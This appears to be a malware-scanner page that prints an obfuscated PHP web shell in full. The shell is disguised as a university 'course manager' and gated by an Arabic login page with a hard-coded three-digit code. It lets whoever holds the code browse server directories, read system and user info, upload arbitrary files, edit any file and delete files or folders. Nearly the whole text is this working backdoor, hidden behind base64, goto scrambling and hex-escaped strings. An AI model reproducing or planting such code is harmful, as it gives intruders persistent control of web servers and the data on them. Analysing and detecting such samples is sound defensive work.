dF9jb3Vyc2Vfc3Vic3RyaW5nKCRzdHIsICRzdGFydCwgJGxlbiA9IG51bGwpIHsgcmV0dXJuICRsZW4gPT09IG51bGwgPyBzdWJzdHIoJHN0ciwgJHN0YXJ0KSA6IHN1YnN0cigkc3RyLCAkc3RhcnQsICRsZW4pOyB9IGdvdG8gRHk5T2s7IFh6dEFfOiBnb3RvIEZKR3g4OyBnb3RvIHRadDYzOyBLbzBCYzogJHBhdGggPSByZXBsYWNlX2NvdXJzZV9jaGFyYWN0ZXJzKCJcMTM0IiwgIlx4MmYiLCAkcGF0aCk7IGdvdG8gWE03bDc7IEhod1hnOiBSQjRqUTogZ290byBjV3Z0ZTsgUUVpcTY6IGdvdG8gVzl1ams7IGdvdG8gSzRiOEM7IHMwV09UOiBmdW5jdGlvbiB3cml0ZV9jb3Vyc2Vfc3lsbGFidXMoJGZpbGUsICRkYXRhKSB7IHJldHVybiBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJGRhdGEpOyB9IGdvdG8gY3llZ2o7IEc4aXBTOiBKc05GTDogZ290byBZUU0ycTsgWTI5R046IGdvdG8gUkI0alE7IGdvdG8gcnM5OEo7IFRTSTdfOiBnb3RvIEk4ejZTOyBnb3RvIFYxWVA0OyBSWXJUVzogZ290byBjMDFoVTsgZ290byBDcWFQRDsgazB5bHo6ID8+CjwvZGl2PjxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PGRpdiBjbGFzcz0iYnJlYWRjcnVtYiI+8J+TjSBQYXRoOjw/cGhwICBnb3RvIEhBS3Y2OyBkekY3YTogcm9KYWw6IGdvdG8gVU9Xb287IE10S1ZWOiBnb3RvIG4yRjNMOyBnb3RvIFh5ekhjOyBNenJsXzogY2xfUXk6IGdvdG8gSHdtNVQ7IGpodnM1OiBpZiAoIWlzc2V0KCRfU0VTU0lPTlsiXHg2OVx4NzNceDVmXDE0MVx4NjRcMTU1XHg2OVwxNTYiXSkpIHsgPz4KPCFkb2N0eXBlaHRtbD48aHRtbCBkaXI9InJ0bCJsYW5nPSJhciI+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjx0aXRsZT7YqNmI2KfYqNipINin2YTZgtio2YjZhCDZiNin2YTYqtiz2KzZitmEIHwgUHJlc3RpZ2UgVW5pdmVyc2l0eTwvdGl0bGU+PHN0eWxlPjpyb290ey0tcHJpbWFyeTojMWEyYTZjOy0tZ29sZDojYjQ5NDFmfWJvZHl7bWFyZ2luOjA7Zm9udC1mYW1pbHk6J1NlZ29lIFVJJyxUYWhvbWEsR2VuZXZhLFZlcmRhbmEsc2Fucy1zZXJpZjtiYWNrZ3JvdW5kOiNmMGYyZjU7ZGlzcGxheTpmbGV4O2p1c3RpZnktY29udGVudDpjZW50ZXI7YWxpZ24taXRlbXM6Y2VudGVyO2hlaWdodDoxMDB2aH0udW5pdi1jYXJke2JhY2tncm91bmQ6I2ZmZjt3aWR0aDo0MDBweDtib3JkZXItcmFkaXVzOjEycHg7Ym94LXNoYWRvdzowIDEwcHggMzBweCByZ2JhKDAsMCwwLC4xKTtvdmVyZmxvdzpoaWRkZW47Ym9yZGVyLXRvcDo4cHggc29saWQgdmFyKC0tcHJpbWFyeSl9LmhlYWRlcntiYWNrZ3JvdW5kOnZhcigtLXByaW1hcnkpO2NvbG9yOiNmZmY7cGFkZGluZzozMHB4O3RleHQtYWxpZ246Y2VudGVyfS5sb2dvLXBsYWNlaG9sZGVye2ZvbnQtc2l6ZTo0MHB4O21hcmdpbi1ib3R0b206MTBweH0uZm9ybS1ib2R5e3BhZGRpbmc6NDBweH0uaW5wdXQtZ3JvdXB7bWFyZ2luLWJvdHRvbToyMHB4fWxhYmVse2Rpc3BsYXk6YmxvY2s7bWFyZ2luLWJvdHRvbTo4cHg7Y29sb3I6IzU1NTtmb250LXdlaWdodDo3MDB9aW5wdXR7d2lkdGg6MTAwJTtwYWRkaW5nOjEycHg7Ym9yZGVyOjFweCBzb2xpZCAjZGRkO2JvcmRlci1yYWRpdXM6NnB4O2JveC1zaXppbmc6Ym9yZGVyLWJveDt0cmFuc2l0aW9uOi4zc31pbnB1dDpmb2N1c3tib3JkZXItY29sb3I6dmFyKC0tZ29sZCk7b3V0bGluZTowO2JveC1zaGFkb3c6MCAwIDVweCByZ2JhKDE4MCwxNDgsMzEsLjMpfWJ1dHRvbnt3aWR0aDoxMDAlO3BhZGRpbmc6MTRweDtiYWNrZ3JvdW5kOnZhcigtLXByaW1hcnkpO2NvbG9yOiNmZmY7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo2cHg7Y3Vyc29yOnBvaW50ZXI7Zm9udC13ZWlnaHQ6NzAwO2ZvbnQtc2l6ZToxNnB4O3RyYW5zaXRpb246LjNzfWJ1dHRvbjpob3ZlcntiYWNrZ3JvdW5kOiMwZDFhNGF9LmZvb3Rlcnt0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nOjIwcHg7Y29sb3I6Izg4ODtmb250LXNpemU6MTJweDtiYWNrZ3JvdW5kOiNmYWZhZmF9PC9zdHlsZT48L2hlYWQ+PGJvZHk+PGRpdiBjbGFzcz0idW5pdi1jYXJkIj48ZGl2IGNsYXNzPSJoZWFkZXIiPjxkaXYgY2xhc3M9ImxvZ28tcGxhY2Vob2xkZXIiPvCfj5vvuI88L2Rpdj48aDI+UFJFU1RJR0UgVU5JVkVSU0lUWTwvaDI+PHA+2YbYuNin2YUg2KXYr9in2LHYqSDYtNik2YjZhiDYp9mE2LfZhNin2Kg8L3A+PC9kaXY+PGRpdiBjbGFzcz0iZm9ybS1ib2R5Ij48Zm9ybSBtZXRob2Q9IlBPU1QiPjxkaXYgY2xhc3M9ImlucHV0LWdyb3VwIj48bGFiZWw+2LHZhdiyINin2YTYr9iu2YjZhCDYp9mE2KPZg9in2K/ZitmF2Yo8L2xhYmVsPiA8aW5wdXQgdHlwZT0icGFzc3dvcmQibmFtZT0iYWNjZXNzX2NvZGUicGxhY2Vob2xkZXI9Itin2K/YrtmEINin2YTYsdmF2LIg2KfZhNmF2YPZiNmGINmF2YYgMyDYo9ix2YLYp9mFLi4uInJlcXVpcmVkPjwvZGl2PjxidXR0b24gdHlwZT0ic3VibWl0Ij7Yqtiz2KzZitmEINin2YTYr9iu2YjZhCDZhNmE2YbYuNin2YU8L2J1dHRvbj48L2Zvcm0+PC9kaXY+PGRpdiBjbGFzcz0iZm9vdGVyIj7CqSAyMDI2INis2YXZiti5INin2YTYrdmC2YjZgiDZhdit2YHZiNi42Kkg2YTYrNin2YXYudipINio2LHZitiz2KrZitisINin2YTYo9mH2YTZitipPC9kaXY+PC9kaXY+PC9ib2R5PjwvaHRtbD48P3BocCAgdGVybWluYXRlX2NvdXJzZV9zY3JpcHQoKTsgfSBnb3RvIE9mR1d2OyBqVWRzZDogQ1pjcGU6IGdvdG8geTlneWw7IEhKcXp0OiBNZmtKczogZ290byBXcG45SjsgUDgxbnc6IGdvdG8gU0UzSng7IGdvdG8gb2l3WkM7IGJ5am01OiBpZiAoaXNzZXQoJF9HRVRbIlx4NjRceDY1XDE1NCJdKSkgeyBkZWxldGVfY291cnNlX2VudHJ5KCRwYXRoIC4gIlx4MmYiIC4gJF9HRVRbIlwxNDRcMTQ1XHg2YyJdKTsgc2VuZF9odHRwX3Jlc3BvbnNlKCJcMTE0XDE1N1wxNDNceDYxXDE2NFwxNTFcMTU3XDE1Nlw3Mlx4MjBcNzdcMTYwXHg2MVwxNjRcMTUwXDc1eyRwYXRofSIpOyB9IGdvdG8gV0RwcHI7IFJfR3RrOiBleTRpMDogZ290byBMSFhVRjsgV3BuOUo6IGZ1bmN0aW9uIGVzY2FwZV9jb3Vyc2VfaHRtbCgkc3RyaW5nKSB7IHJldHVybiBodG1sc3BlY2lhbGNoYXJzKCRzdHJpbmcpOyB9IGdvdG8gakxhdTE7IHc0NXZoOiBnb3RvIFJmNDlVOyBnb3RvIG5CUmVwOyBuQlJlcDogT3dMMmg6IGdvdG8gdDNZZDY7IHpTMnk1OiBzZXRfZXJyb3JfbW9kZSgwKTsgZ290byBUeWxOWDsgUkZnbkg6IGlmIChpc3NldCgkX1BPU1RbIlwxNjNcMTQxXDE2Nlx4NjVceDVmXHg2NlwxNTFcMTU0XHg2NSJdKSkgeyB1cGRhdGVfY291cnNlX2dyYWRlKCRfUE9TVFsiXDE2NFwxNDFcMTYyXHg2N1wxNDVcMTY0XDEzN1wxNDZceDY5XDE1NFwxNDUiXSwgJF9QT1NUWyJceDZlXHg2NVx4NzdceDVmXDE0NFwxNDFcMTY0XDE0MSJdKTsgZGlzcGxheV9jb3Vyc2Vfb3V0cHV0KCJcNzRceDczXDE0M1wxNjJcMTUxXHg3MFwxNjRcNzZcMTQxXDE1NFwxNDVceDcyXDE2NFw1MFw0N1x4NTNceDYxXHg3Nlx4NjVcMTQ0XDQxXHgyN1w1MVw3M1x4MjBceDc3XDE1MVx4NmVceDY0XDE1N1x4NzdcNTZceDZjXDE1N1wxNDNcMTQxXDE2NFwxNTFceDZmXDE1Nlw1Nlx4NjhceDcyXHg2NVwxNDZcNzVceDI3XHgzZlwxNjBceDYxXHg3NFx4NjhceDNkeyRwYXRofVw0N1w3M1x4M2NcNTdceDczXHg2M1x4NzJceDY5XHg3MFwxNjRceDNlIik7IH0gZ290byBhRUEwcjsgVEtPVmo6IGMwMWhVOiBnb3RvIFZrUUlOOyB5ajcyNzogZ290byBLUENOSzsgZ290byBLcDhHVTsgTEpiTV86IGdvdG8gSTZNU1o7IGdvdG8gbHJ3SVU7IFFaTVNMOiBnb3RvIENqYVdYOyBnb3RvIE5PZWx2OyB3RkY1NzogaTJBbFc6IGdvdG8gUkZnbkg7IEtwOEdVOiBBdFFjcTogZ290byBXSkFRTDsgWVFNMnE6IGZ1bmN0aW9uIGxpc3RfY291cnNlX2NvbnRlbnRzKCRkaXIpIHsgcmV0dXJuIHNjYW5kaXIoJGRpcik7IH0gZ290byBkM242XzsgejI4czk6IG1RZWl3OiBnb3RvIFBsejY3OyBkcmx5cTogZ290byBBdFFjcTsgZ290byBwOF9kbDsgaTVZQzM6IGdvdG8gejFoQXM7IGdvdG8gR1ZJeVE7IFhxdmRnOiBxcHNJNjogZ290byBNcXl4YzsgWE03bDc6IGdvdG8gRDJZSFU7IGdvdG8gSXd0dTk7IEJpRjZoOiA/Pgo8L2Rpdj48L2JvZHk+PC9odG0='));


 goto LJbM_; UB_3I: $steps = explode("\57", $path); goto mw4fc; VkQIN: function get_current_course_dir() { return getcwd(); } goto Y29GN; TylNX: goto OiGMA; goto c4cMJ; jy3zH: $files = list_course_contents($path); goto mYpvk; Q7QL1: function get_file_storage_size($file) { return filesize($file); } goto QEiq6; dObnO: goto JsNFL; goto zqqP1; p3N4T: goto kFU4K; goto kEV2T; oiwZC: OiGMA: goto EUoyG; TM92Q: RbCq7: goto UB_3I; sTZVR: Rf49U: goto PX3qW; o9lXx: function update_course_grade($file, $data) { return write_course_syllabus($file, $data); } goto TSI7_; V1YP4: bcQuh: goto Lh3fz; kJjuH: hYAOM: goto aktI8; jLau1: goto OwL2h; goto jUdsd; chBqN: goto EMBrB; goto Mzrl_; OfGWv: goto pNpUF; goto R_Gtk; kEV2T: D2YHU: goto TzwyX; y9gyl:
</div><div style="margin-bottom:20px;background:#fff;padding:15px;border-radius:8px"><form method="POST"enctype="multipart/form-data"><strong>Quick Upload: </strong><input type="file"name="u_file"> <input type="submit"class="btn btn-up"value="Upload Now"></form></div><table><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th></tr><tr><td><a href="?path=goto x5bWE; ehV9m: display_course_output(get_current_operator()); goto i5YC3; F7N8Q: goto zewW8; goto MoOGT; UTCMA: BjxdP: goto BB3Rt; wmbsM: hNNkl: goto Ko0Bc; m9MsA: function init_session() { session_start(); } goto b3TJo; CeYcC: function set_error_mode($level) { error_reporting($level); } goto NClyU; UOWoo: init_session(); goto QZMSL; YQJbU: goto MbxCX; goto N4BzW; TzwyX: change_course_working_dir($path); goto vilwd; Dy9Ok: goto I1CIt; goto fJq3p; rzYVI: AOZ_1: goto s0WOT; d3n6_: goto cl_Qy; goto TM92Q; Hwm5T: function get_parent_course_path($path) { return dirname($path); } goto h1JV2; QkvNK: goto hNNkl; goto SB_su; XQkrF: function get_current_operator() { return get_current_user(); } goto dObnO; hCKeA: function round_course_value($val, $prec = 2) { return round($val, $prec); } goto chBqN; vilwd: goto NHSSb; goto mq0XW; QqLJl: goto ey4i0; goto ffrUo; ubsCd: noAYv: goto Vh71N; TW_tI: function change_course_working_dir($dir) { chdir($dir); } goto AFMIW; sGlPs: I6MSZ: goto CeYcC; MoOGT: tKn1K: goto grivi; NsSQR: goto MM_gE; goto xng6a; BB3Rt: function resolve_course_path($path) { return realpath($path); } goto RYrTW; GVIyQ: pNpUF: goto FXx0T; h1JV2: goto Qs6rq; goto HJqzt; OqGLq: function terminate_course_script() { die; } goto w45vh; OcxW3:
<!doctypehtml><html><head><title>Admin Dashboard - System Explorer</title><style>body{background:#f4f7f6;font-family:Consolas,monospace;color:#333;margin:0}.top-nav{background:#1a2a6c;color:#fff;padding:15px 25px;display:flex;justify-content:space-between;align-items:center}.sidebar-info{background:#fff;padding:15px;border-bottom:1px solid #ddd;font-size:13px}.container{padding:20px}.breadcrumb{margin-bottom:20px;background:#fff;padding:10px;border-radius:4px;box-shadow:0 2px 5px rgba(0,0,0,.05)}.breadcrumb a{color:#1a2a6c;text-decoration:none;font-weight:700}table{width:100%;background:#fff;border-collapse:collapse;border-radius:8px;overflow:hidden;box-shadow:0 4px 15px rgba(0,0,0,.05)}th{background:#1a2a6c;color:#fff;padding:15px;text-align:left}td{padding:12px 15px;border-bottom:1px solid #eee}tr:hover{background:#f9f9f9}.btn{padding:6px 12px;border-radius:4px;text-decoration:none;font-size:12px;cursor:pointer;border:none}.btn-edit{background:#ffc107;color:#000}.btn-del{background:#dc3545;color:#fff}.btn-up{background:#28a745;color:#fff}.folder{color:#f39c12;font-weight:700}textarea{width:100%;height:400px;margin-top:10px;font-family:monospace;padding:10px}</style></head><body><div class="top-nav"><span>PRESTIGE UNIV - COURSE MANAGER</span> <a href="?logout"style="color:#fff">Logout</a></div><div class="sidebar-info"><strong>Server:</strong>goto drlyq; lrwIU: SE3Jx: goto Q7QL1; lONHg: goto vj51Q; goto ehVjk; x5bWE: goto mQeiw; goto vZ29g; DXiay: goto vImGF; goto z28s9; PesvW: goto noAYv; goto HhwXg; u0sWY: goto tKn1K; goto FyUSR; q3x4S: Qs6rq: goto fsYjW; ehVjk: sNj0m: goto QwAPt; k_Q9A: goto mLVaD; goto wacr8; UZsPr: function send_http_response($string) { header($string); } goto IsbPD; PfRv7: goto MfkJs; goto JA4gp; N4BzW: mLVaD: goto jhvs5; mw4fc: goto s6UnC; goto dzF7a; grivi: function remove_course_directory($path) { return rmdir($path); } goto DXiay; zqqP1: RQwKx: goto OcxW3; Jup5c: function delete_course_entry($path) { if (is_course_directory($path)) { return remove_course_directory($path); } else { return delete_course_file($path); } } goto YQJbU; mYpvk: goto ziAM3; goto gFOGp; mq0XW: EMBrB: goto aWZJE; JP3J0: goto qpsI6; goto wmbsM; Rgqiw:
</table>goto vmJiq; hRi5f: function delete_course_file($path) { return unlink($path); } goto JP3J0; JhMbs: foreach ($files as $f) { if ($f == "\x2e" || $f == "\56\x2e") { continue; } $full = $path . "\x2f" . $f; $is_dir = is_course_directory($full); $prm = extract_course_substring(format_course_string("\x25\157", get_file_access_mode($full)), -4); display_course_output("\74\x74\x72\76\12\x20\x20\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\x3c\164\x64\x3e" . ($is_dir ? "\360\237\223\201\x20\x3c\x61\x20\x68\x72\145\x66\x3d\x27\x3f\160\x61\164\x68\x3d{$full}\x27\x20\x63\x6c\141\x73\x73\75\47\x66\x6f\154\x64\x65\162\x27\76{$f}\74\x2f\x61\76" : "\360\237\223\204\40{$f}") . "\x3c\57\164\144\x3e\xa\40\40\40\40\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\40\x20\40\40\74\x74\x64\x3e" . ($is_dir ? "\x44\x49\122" : round_course_value(get_file_storage_size($full) / 1024, 2) . "\x20\x4b\102") . "\x3c\57\x74\x64\76\xa\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x3c\164\x64\76{$prm}\74\x2f\x74\x64\x3e\12\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\x20\x20\x3c\x74\144\x3e\12\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\40\40\x20\40\40" . (!$is_dir ? "\74\141\x20\x68\162\x65\146\x3d\47\x3f\145\x64\151\x74\x3d{$f}\x26\x70\141\164\x68\x3d{$path}\47\40\143\x6c\141\163\x73\75\x27\142\164\x6e\x20\142\x74\x6e\x2d\x65\x64\151\164\47\x3e\x45\x64\151\x74\74\x2f\x61\76" : '') . "\12\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\74\141\x20\x68\x72\145\146\75\47\77\x64\145\154\x3d{$f}\x26\160\141\x74\150\x3d{$path}\47\40\143\154\141\163\163\75\47\142\x74\x6e\40\x62\164\156\55\x64\x65\154\x27\40\157\x6e\x63\154\x69\143\x6b\x3d\47\x72\145\x74\165\x72\x6e\40\x63\x6f\156\146\x69\x72\x6d\x28\42\104\x65\x6c\145\x74\145\77\42\x29\47\x3e\x44\145\154\74\57\141\76\xa\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\74\57\x74\x64\x3e\xa\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x3c\57\x74\x72\76"); } goto indIB; gdNO6: foreach ($steps as $id => $s) { if ($s == '' && $id == 0) { display_course_output("\74\141\40\150\x72\145\146\x3d\x22\x3f\160\141\164\150\x3d\x2f\x22\76\57\74\57\141\x3e"); continue; } display_course_output("\74\x61\x20\x68\162\x65\x66\x3d\42\x3f\160\141\x74\150\75"); for ($i = 0; $i <= $id; $i++) { display_course_output($steps[$i]); if ($i != $id) { display_course_output("\x2f"); } } display_course_output("\x22\76" . $s . "\x3c\57\141\x3e\40\57\x20"); } goto gFzY9; gFOGp: ziAM3: goto JhMbs; PX3qW: function format_course_string($format, ...$args) { return sprintf($format, ...$args); } goto PesvW; EUoyG: set_max_execution(0); goto LaGI2; K4b8C: vImGF: goto hRi5f; Cs2Rh: kSsdr: goto jP4_Q; SB_su: PVuit: goto BiF6h; indIB: goto mbnna; goto O6EfE; tZt63: iir23: goto M2ID6; b3TJo: goto hYAOM; goto Xqvdg; CqaPD: kFU4K: goto m9MsA; AFMIW: goto BjxdP; goto wFF57; XyzHc: vj51Q: goto jy3zH; Lh3fz: if (isset($_GET["\x65\144\x69\164"])) { $target = $path . "\57" . $_GET["\145\144\x69\x74"]; $content = escape_course_html(fetch_course_records($target)); display_course_output("\x3c\150\x33\x3e\105\144\151\x74\151\x6e\147\72\40" . $_GET["\145\144\151\x74"] . "\x3c\x2f\x68\63\76\xa\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\x20\40\74\146\157\162\x6d\40\155\145\164\150\x6f\144\x3d\x27\120\x4f\123\124\47\76\xa\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\74\x74\145\170\x74\x61\162\145\141\x20\x6e\141\x6d\x65\x3d\x27\x6e\x65\167\x5f\144\x61\x74\141\x27\76{$content}\x3c\57\x74\x65\x78\164\141\162\145\x61\x3e\xa\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\74\151\x6e\160\165\x74\x20\x74\x79\160\145\x3d\47\x68\151\144\144\x65\x6e\47\40\156\141\155\x65\x3d\x27\164\141\x72\147\x65\164\137\x66\151\x6c\145\x27\40\x76\x61\154\165\145\x3d\x27{$target}\47\76\12\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\40\x20\x3c\142\162\76\74\x62\x75\x74\x74\157\156\x20\164\171\160\x65\75\x27\163\165\x62\x6d\151\164\x27\x20\156\x61\155\x65\x3d\47\x73\141\166\145\137\146\151\x6c\145\x27\40\x63\x6c\x61\x73\163\75\47\142\x74\156\40\x62\164\156\x2d\x75\x70\x27\x20\163\164\x79\154\145\75\x27\167\x69\x64\164\150\x3a\61\60\60\x25\x27\x3e\123\141\x76\145\x20\x43\150\141\156\147\145\x73\74\57\x62\165\164\164\157\156\76\12\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x3c\x2f\146\157\x72\155\76"); } goto wvl9k; M2ID6: function get_system_info() { return php_uname(); } goto yj727; p8_dl: W9ujk: goto TW_tI; Plz67: display_course_output(get_parent_course_path($path)); goto QqLJl; QeE_z: FJGx8: goto ehV9m; ffrUo: I1CIt: goto hCKeA; wacr8: IkaOT: goto o9lXx; S6ZLU: mbnna: goto Rgqiw; aktI8: function read_course_syllabus($file) { return file_get_contents($file); } goto qsZfu; wvl9k: goto i2AlW; goto rzYVI; FXx0T: $path = isset($_GET["\x70\x61\x74\x68"]) ? resolve_course_path($_GET["\160\141\164\x68"]) : get_current_course_dir(); goto QkvNK; NClyU: goto sNj0m; goto G8ipS; gFzY9: goto CZcpe; goto kJjuH; O6EfE: NHSSb: goto ymA7I; fJq3p: MM_gE: goto byjm5; cWvte: function display_course_output(...$args) { foreach ($args as $arg) { echo $arg; } } goto F7N8Q; fsYjW: function get_file_access_mode($file) { return fileperms($file); } goto P81nw; QwAPt: function set_max_execution($seconds) { set_time_limit($seconds); } goto p3N4T; Mqyxc: function upload_course_material($src, $dest) { return move_uploaded_file($src, $dest); } goto MtKVV; d91i5: goto IkaOT; goto ubsCd; rs98J: zewW8: goto OqGLq; IVlwN: goto kSsdr; goto TKOVj; xng6a: I8z6S: goto Jup5c; FyUSR: n2F3L: goto UZsPr; JA4gp: s6UnC: goto gdNO6; jP4_Q:
| <strong>User:</strong>goto XztA_; WDppr: goto RQwKx; goto QeE_z; HAKv6: goto RbCq7; goto sTZVR; ymA7I: if (isset($_FILES["\x75\x5f\x66\x69\x6c\x65"])) { upload_course_material($_FILES["\165\137\146\151\154\145"]["\164\x6d\160\x5f\x6e\141\x6d\x65"], $path . "\57" . $_FILES["\x75\x5f\x66\x69\154\145"]["\x6e\x61\x6d\x65"]); } goto NsSQR; l8RTU: KPCNK: goto XQkrF; IsbPD: goto iir23; goto S6ZLU; qsZfu: goto AOZ_1; goto q3x4S; cyegj: goto tqdFZ; goto Cs2Rh; c4cMJ: CjaWX: goto OJ1BU; aEA0r: goto PVuit; goto UTCMA; t3Yd6: function fetch_course_records($file) { return read_course_syllabus($file); } goto d91i5; LaGI2: goto roJal; goto sGlPs; Iwtu9: tqdFZ: goto Ai8er; LHXUF:
">.. [ Parent Directory ]</a></td><td>-</td><td>-</td><td>-</td></tr>goto lONHg; OJ1BU: if (isset($_POST["\x61\x63\x63\x65\163\x73\x5f\143\157\x64\x65"]) && $_POST["\141\x63\143\x65\163\163\137\x63\x6f\x64\x65"] == "\61\x30\66") { $_SESSION["\151\x73\x5f\x61\144\x6d\x69\x6e"] = true; } goto k_Q9A; vZ29g: MbxCX: goto zS2y5; aWZJE: function replace_course_characters($search, $replace, $subject) { return str_replace($search, $replace, $subject); } goto PfRv7; Ai8er: function is_course_directory($path) { return is_dir($path); } goto u0sWY; NOelv: z1hAs: goto k0ylz; WJAQL: display_course_output(get_system_info()); goto IVlwN; vmJiq: goto bcQuh; goto l8RTU; Vh71N: function extract_course_substring($str, $start, $len = null) { return $len === null ? substr($str, $start) : substr($str, $start, $len); } goto Dy9Ok; XztA_: goto FJGx8; goto tZt63; Ko0Bc: $path = replace_course_characters("\134", "\x2f", $path); goto XM7l7; HhwXg: RB4jQ: goto cWvte; QEiq6: goto W9ujk; goto K4b8C; s0WOT: function write_course_syllabus($file, $data) { return file_put_contents($file, $data); } goto cyegj; G8ipS: JsNFL: goto YQM2q; Y29GN: goto RB4jQ; goto rs98J; TSI7_: goto I8z6S; goto V1YP4; RYrTW: goto c01hU; goto CqaPD; k0ylz:
</div><div class="container"><div class="breadcrumb">📍 Path:goto HAKv6; dzF7a: roJal: goto UOWoo; MtKVV: goto n2F3L; goto XyzHc; Mzrl_: cl_Qy: goto Hwm5T; jhvs5: if (!isset($_SESSION["\x69\x73\x5f\141\x64\155\x69\156"])) {
<!doctypehtml><html dir="rtl"lang="ar"><head><meta charset="UTF-8"><title>بوابة القبول والتسجيل | Prestige University</title><style>:root{--primary:#1a2a6c;--gold:#b4941f}body{margin:0;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#f0f2f5;display:flex;justify-content:center;align-items:center;height:100vh}.univ-card{background:#fff;width:400px;border-radius:12px;box-shadow:0 10px 30px rgba(0,0,0,.1);overflow:hidden;border-top:8px solid var(--primary)}.header{background:var(--primary);color:#fff;padding:30px;text-align:center}.logo-placeholder{font-size:40px;margin-bottom:10px}.form-body{padding:40px}.input-group{margin-bottom:20px}label{display:block;margin-bottom:8px;color:#555;font-weight:700}input{width:100%;padding:12px;border:1px solid #ddd;border-radius:6px;box-sizing:border-box;transition:.3s}input:focus{border-color:var(--gold);outline:0;box-shadow:0 0 5px rgba(180,148,31,.3)}button{width:100%;padding:14px;background:var(--primary);color:#fff;border:none;border-radius:6px;cursor:pointer;font-weight:700;font-size:16px;transition:.3s}button:hover{background:#0d1a4a}.footer{text-align:center;padding:20px;color:#888;font-size:12px;background:#fafafa}</style></head><body><div class="univ-card"><div class="header"><div class="logo-placeholder">🏛️</div><h2>PRESTIGE UNIVERSITY</h2><p>نظام إدارة شؤون الطلاب</p></div><div class="form-body"><form method="POST"><div class="input-group"><label>رمز الدخول الأكاديمي</label> <input type="password"name="access_code"placeholder="ادخل الرمز المكون من 3 أرقام..."required></div><button type="submit">تسجيل الدخول للنظام</button></form></div><div class="footer">© 2026 جميع الحقوق محفوظة لجامعة بريستيج الأهلية</div></div></body></html>terminate_course_script(); } goto OfGWv; jUdsd: CZcpe: goto y9gyl; HJqzt: MfkJs: goto Wpn9J; P81nw: goto SE3Jx; goto oiwZC; byjm5: if (isset($_GET["\x64\x65\154"])) { delete_course_entry($path . "\x2f" . $_GET["\144\145\x6c"]); send_http_response("\114\157\143\x61\164\151\157\156\72\x20\77\160\x61\164\150\75{$path}"); } goto WDppr; R_Gtk: ey4i0: goto LHXUF; Wpn9J: function escape_course_html($string) { return htmlspecialchars($string); } goto jLau1; w45vh: goto Rf49U; goto nBRep; nBRep: OwL2h: goto t3Yd6; zS2y5: set_error_mode(0); goto TylNX; RFgnH: if (isset($_POST["\163\141\166\x65\x5f\x66\151\154\x65"])) { update_course_grade($_POST["\164\141\162\x67\145\164\137\146\x69\154\145"], $_POST["\x6e\x65\x77\x5f\144\141\164\141"]); display_course_output("\74\x73\143\162\151\x70\164\76\141\154\145\x72\164\50\47\x53\x61\x76\x65\144\41\x27\51\73\x20\x77\151\x6e\x64\157\x77\56\x6c\157\143\141\164\151\x6f\156\56\x68\x72\x65\146\75\x27\x3f\160\x61\x74\x68\x3d{$path}\47\73\x3c\57\x73\x63\x72\x69\x70\164\x3e"); } goto aEA0r; TKOVj: c01hU: goto VkQIN; yj727: goto KPCNK; goto Kp8GU; LJbM_: goto I6MSZ; goto lrwIU; QZMSL: goto CjaWX; goto NOelv; wFF57: i2AlW: goto RFgnH; Kp8GU: AtQcq: goto WJAQL; YQM2q: function list_course_contents($dir) { return scandir($dir); } goto d3n6_; z28s9: mQeiw: goto Plz67; drlyq: goto AtQcq; goto p8_dl; i5YC3: goto z1hAs; goto GVIyQ; Xqvdg: qpsI6: goto Mqyxc; XM7l7: goto D2YHU; goto Iwtu9; BiF6h:
</div></body></htm



© 2023 Quttera Ltd. All rights reserved.